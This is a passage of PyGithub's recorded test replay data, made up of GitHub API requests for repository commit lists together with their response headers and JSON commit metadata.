3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false},"parents":[{"sha":"70a7e9c83dec2bf6b549dc5c77d30b53afb32457","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/70a7e9c83dec2bf6b549dc5c77d30b53afb32457","html_url":"https://github.com/PyGithub/PyGithub/commit/70a7e9c83dec2bf6b549dc5c77d30b53afb32457"}]},{"sha":"70a7e9c83dec2bf6b549dc5c77d30b53afb32457","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T23:45:27Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T23:45:27Z"},"message":"Fix update","tree":{"sha":"f99d30ab74ea95fedefb33a8b1b2c77903fbd698","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f99d30ab74ea95fedefb33a8b1b2c77903fbd698"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/70a7e9c83dec2bf6b549dc5c77d30b53afb32457","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/70a7e9c83dec2bf6b549dc5c77d30b53afb32457","html_url":"https://github.com/PyGithub/PyGithub/commit/70a7e9c83dec2bf6b549dc5c77d30b53afb32457","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/70a7e9c83dec2bf6b549dc5c77d30b53afb32457/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false},"committer":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false},"parents":[{"sha":"5b09f6c82191601cad92076ad4761fe927c511ed","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5b09f6c82191601cad92076ad4761fe927c511ed","html_url":"https://github.com/PyGithub/PyGithub/commit/5b09f6c82191601cad92076ad4761fe927c511ed"}]},{"sha":"5b09f6c82191601cad92076ad4761fe927c511ed","commit":{"author":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T15:17:59Z"},"committer":{"name":"AKFish","email":"akfish@gmail.com","date":"2013-08-21T15:17:59Z"},"message":"Implement conditional request","tree":{"sha":"d6c3d2b807635ecd9a9129b1a99d0e2f6758d440","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/d6c3d2b807635ecd9a9129b1a99d0e2f6758d440"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/5b09f6c82191601cad92076ad4761fe927c511ed","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5b09f6c82191601cad92076ad4761fe927c511ed","html_url":"https://github.com/PyGithub/PyGithub/commit/5b09f6c82191601cad92076ad4761fe927c511ed","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5b09f6c82191601cad92076ad4761fe927c511ed/comments","author":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false},"committer":{"login":"akfish","id":922715,"avatar_url":"https://1.gravatar.com/avatar/12a1b44d4e5c19cee59618084602b112?d=https%3A%2F%2Fidenticons.github.com%2F6eb90fb68a77fb5a5a997c6264bedf35.png&r=x","gravatar_id":"12a1b44d4e5c19cee59618084602b112","url":"https://api.github.com/users/akfish","html_url":"https://github.com/akfish","followers_url":"https://api.github.com/users/akfish/followers","following_url":"https://api.github.com/users/akfish/following{/other_user}","gists_url":"https://api.github.com/users/akfish/gists{/gist_id}","starred_url":"https://api.github.com/users/akfish/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akfish/subscriptions","organizations_url":"https://api.github.com/users/akfish/orgs","repos_url":"https://api.github.com/users/akfish/repos","events_url":"https://api.github.com/users/akfish/events{/privacy}","received_events_url":"https://api.github.com/users/akfish/received_events","type":"User","site_admin":false},"parents":[{"sha":"6fd05baf6bea732dd846e08c40891c28060e7c64","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6fd05baf6bea732dd846e08c40891c28060e7c64","html_url":"https://github.com/PyGithub/PyGithub/commit/6fd05baf6bea732dd846e08c40891c28060e7c64"}]}] https GET api.github.com None /repos/PyGithub/PyGithub/commits?per_page=5&author=m.ki2%40laposte.net {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4946'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '4C79374B:68E1:4062E83:5280297A'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '15839'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 04 Jun 2013 13:35:09 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"3ed1804969c8b056bbf4ac0098e42f18"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Nov 2013 00:48:58 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1384130958')] [{"sha":"ab674dfcbc86c70bc32d9ecbe171b48a5694c337","commit":{"author":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:35:09Z"},"committer":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:35:09Z"},"message":"PullRequestMergeStatus docstring","tree":{"sha":"fa1f214180296156c3b5b259f8bf503d485f3487","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/fa1f214180296156c3b5b259f8bf503d485f3487"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/ab674dfcbc86c70bc32d9ecbe171b48a5694c337","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ab674dfcbc86c70bc32d9ecbe171b48a5694c337","html_url":"https://github.com/PyGithub/PyGithub/commit/ab674dfcbc86c70bc32d9ecbe171b48a5694c337","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/ab674dfcbc86c70bc32d9ecbe171b48a5694c337/comments","author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"committer":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"parents":[{"sha":"dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","html_url":"https://github.com/PyGithub/PyGithub/commit/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84"}]},{"sha":"dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","commit":{"author":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:33:13Z"},"committer":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:33:13Z"},"message":"Don't think this anchor is needed","tree":{"sha":"08d2bb94751507dfff536d692292680a10bd6062","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/08d2bb94751507dfff536d692292680a10bd6062"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","html_url":"https://github.com/PyGithub/PyGithub/commit/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/dd13f2b4bcfb6a4b208b617b0b39b8ef00041d84/comments","author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"committer":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"parents":[{"sha":"a56b10579dcf47c5083b5338b743e827be67bb59","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a56b10579dcf47c5083b5338b743e827be67bb59","html_url":"https://github.com/PyGithub/PyGithub/commit/a56b10579dcf47c5083b5338b743e827be67bb59"}]},{"sha":"a56b10579dcf47c5083b5338b743e827be67bb59","commit":{"author":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:32:17Z"},"committer":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:32:17Z"},"message":"Fix Event url","tree":{"sha":"5e4c1acdc1aebc22acdc26af24256609d8e4cbd9","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/5e4c1acdc1aebc22acdc26af24256609d8e4cbd9"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/a56b10579dcf47c5083b5338b743e827be67bb59","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a56b10579dcf47c5083b5338b743e827be67bb59","html_url":"https://github.com/PyGithub/PyGithub/commit/a56b10579dcf47c5083b5338b743e827be67bb59","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/a56b10579dcf47c5083b5338b743e827be67bb59/comments","author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"committer":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"parents":[{"sha":"8d236e91578eb4d1b967b419d0cf34573338a177","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8d236e91578eb4d1b967b419d0cf34573338a177","html_url":"https://github.com/PyGithub/PyGithub/commit/8d236e91578eb4d1b967b419d0cf34573338a177"}]},{"sha":"8d236e91578eb4d1b967b419d0cf34573338a177","commit":{"author":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:31:00Z"},"committer":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:31:00Z"},"message":"Event docstring","tree":{"sha":"34c2d6b2c2acc221f8248e62331612781d182639","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/34c2d6b2c2acc221f8248e62331612781d182639"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/8d236e91578eb4d1b967b419d0cf34573338a177","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8d236e91578eb4d1b967b419d0cf34573338a177","html_url":"https://github.com/PyGithub/PyGithub/commit/8d236e91578eb4d1b967b419d0cf34573338a177","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/8d236e91578eb4d1b967b419d0cf34573338a177/comments","author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"committer":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"parents":[{"sha":"5ce5f5c68418bf45797f19cb0a50c03d429c90b5","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5ce5f5c68418bf45797f19cb0a50c03d429c90b5","html_url":"https://github.com/PyGithub/PyGithub/commit/5ce5f5c68418bf45797f19cb0a50c03d429c90b5"}]},{"sha":"5ce5f5c68418bf45797f19cb0a50c03d429c90b5","commit":{"author":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:29:35Z"},"committer":{"name":"martinqt","email":"m.ki2@laposte.net","date":"2013-06-04T13:29:35Z"},"message":"Label docstring","tree":{"sha":"eee731e4946523d814f281722d789edba808e8ef","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/eee731e4946523d814f281722d789edba808e8ef"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/5ce5f5c68418bf45797f19cb0a50c03d429c90b5","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5ce5f5c68418bf45797f19cb0a50c03d429c90b5","html_url":"https://github.com/PyGithub/PyGithub/commit/5ce5f5c68418bf45797f19cb0a50c03d429c90b5","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5ce5f5c68418bf45797f19cb0a50c03d429c90b5/comments","author":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"committer":{"login":"martinqt","id":2557975,"avatar_url":"https://1.gravatar.com/avatar/182c0579e9458df4b939c1de0981e31c?d=https%3A%2F%2Fidenticons.github.com%2F24858b884a8b74bcce2b765a4f8e329e.png&r=x","gravatar_id":"182c0579e9458df4b939c1de0981e31c","url":"https://api.github.com/users/martinqt","html_url":"https://github.com/martinqt","followers_url":"https://api.github.com/users/martinqt/followers","following_url":"https://api.github.com/users/martinqt/following{/other_user}","gists_url":"https://api.github.com/users/martinqt/gists{/gist_id}","starred_url":"https://api.github.com/users/martinqt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/martinqt/subscriptions","organizations_url":"https://api.github.com/users/martinqt/orgs","repos_url":"https://api.github.com/users/martinqt/repos","events_url":"https://api.github.com/users/martinqt/events{/privacy}","received_events_url":"https://api.github.com/users/martinqt/received_events","type":"User","site_admin":false},"parents":[{"sha":"21cf9b15b57cb919f0ebb4fcd6117cea4b6f1163","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/21cf9b15b57cb919f0ebb4fcd6117cea4b6f1163","html_url":"https://github.com/PyGithub/PyGithub/commit/21cf9b15b57cb919f0ebb4fcd6117cea4b6f1163"}]}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Repository.testGetCommitsWithSinceUntil.txt0000644000175100001660000045354014756101563026715 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/commits?since=2013-03-01T00%3A00%3A00Z&until=2013-03-31T00%3A00%3A00Z {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4997'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '95940'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 29 Mar 2013 15:54:15 GMT'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="first"'), ('etag', '"ab4396ff3915897a1c3fe5a4b5db2697"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 19 Aug 2013 21:22:58 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1376950974')] [{"sha":"db5560bd658b5d8057a864f7037ace4d5f618f1b","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T15:54:15Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T15:54:15Z"},"message":"Add a script to check copyrights with git log. And fix copyrights.","tree":{"sha":"072b9e971d71c06dc8329773b635d7e543eb0755","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/072b9e971d71c06dc8329773b635d7e543eb0755"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/db5560bd658b5d8057a864f7037ace4d5f618f1b","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/db5560bd658b5d8057a864f7037ace4d5f618f1b","html_url":"https://github.com/PyGithub/PyGithub/commit/db5560bd658b5d8057a864f7037ace4d5f618f1b","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/db5560bd658b5d8057a864f7037ace4d5f618f1b/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"parents":[{"sha":"f266fed520fea4f683caabe0b38e1f758cfc5cff","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f266fed520fea4f683caabe0b38e1f758cfc5cff","html_url":"https://github.com/PyGithub/PyGithub/commit/f266fed520fea4f683caabe0b38e1f758cfc5cff"}]},{"sha":"f266fed520fea4f683caabe0b38e1f758cfc5cff","commit":{"author":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T12:26:53Z"},"committer":{"name":"Vincent Jacques","email":"vincent@vincent-jacques.net","date":"2013-03-29T12:26:53Z"},"message":"Fix tests for Python <= 2.6","tree":{"sha":"6e2de6a307b94f74a3897318a0057e1386375816","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/6e2de6a307b94f74a3897318a0057e1386375816"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/f266fed520fea4f683caabe0b38e1f758cfc5cff","comment_count":0},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f266fed520fea4f683caabe0b38e1f758cfc5cff","html_url":"https://github.com/PyGithub/PyGithub/commit/f266fed520fea4f683caabe0b38e1f758cfc5cff","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f266fed520fea4f683caabe0b38e1f758cfc5cff/comments","author":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"committer":{"login":"jacquev6","id":327146,"avatar_url":"https://0.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https%3A%2F%2Fidenticons.github.com%2Ffadfb5f7088ef66579d198a3c9a4935e.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.gi